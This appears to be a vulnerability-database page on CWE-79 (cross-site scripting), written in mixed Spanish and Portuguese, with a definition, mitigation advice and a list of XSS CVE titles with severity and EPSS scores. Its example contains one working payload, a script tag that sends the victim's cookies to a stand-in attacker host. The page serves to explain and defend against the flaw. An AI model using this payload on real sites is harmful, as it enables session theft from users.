Fallos del tipo CWE-79

30.217 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7872MEDIUMPortabilis i-Diario justificativas-de-falta cross site scriptingEPSS 0.3%CVE-2024-6703MEDIUMContact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.19 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Welcome Screen FieldsEPSS 0.3%CVE-2026-29038MEDIUMchangedetection.io: Reflected XSS in RSS Tag Error ResponseEPSS 0.3%CVE-2024-32083MEDIUMWordPress Easy Logo plugin <= 1.9.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47097MEDIUMReflected Cross-Site Scripting in Follet School Solutions DestinyEPSS 0.3%CVE-2024-31931MEDIUMWordPress Save as Image plugin by Pdfcrowd plugin <= 3.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-14911CRITICALImproper Neutralization of Input During Web Page Generation (“Cross-site Scripting”) in ASUS router modules allows a remote attacker to readEPSS 0.3%CVE-2024-47096MEDIUMReflected Cross-Site Scripting in Follet School Solutions DestinyEPSS 0.3%CVE-2022-40744MEDIUMIBM Aspera Faspex cross-site scriptingEPSS 0.3%CVE-2024-40604MEDIUMAn issue was discovered in the Nimbus skin for MediaWiki through 1.42.1. There is Stored XSS via MediaWiki:Nimbus-sidebar menu and submenu eEPSS 0.3%CVE-2025-2878MEDIUMKentico CMS Additional Database Installation Wizard install.aspx cross site scriptingEPSS 0.3%CVE-2024-38815MEDIUMVMware NSX contains a content spoofing vulnerability.  An unauthenticated malicious actor may be able to craft a URL and redirect a victim EPSS 0.3%CVE-2025-24726MEDIUMWordPress Contact Form 7 Widget plugin <= 1.2.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-119761MEDIUMAxigen Mail Server before 10.6.39 and 10.7.1 Stored XSS via Sender Display NameEPSS 0.3%CVE-2024-32080MEDIUMWordPress Search Keyword Redirect plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-32831MEDIUMWordPress Accessibility Widget plugin <= 2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33643MEDIUMWordPress Advanced Most Recent Posts Mod plugin <= 1.6.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-31361MEDIUMWordPress bunny.net plugin <= 2.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-47714MEDIUMIBM Sterling File Gateway cross-site scriptingEPSS 0.3%CVE-2024-8708MEDIUMSourceCodester Best House Rental Management System categories.php cross site scriptingEPSS 0.3%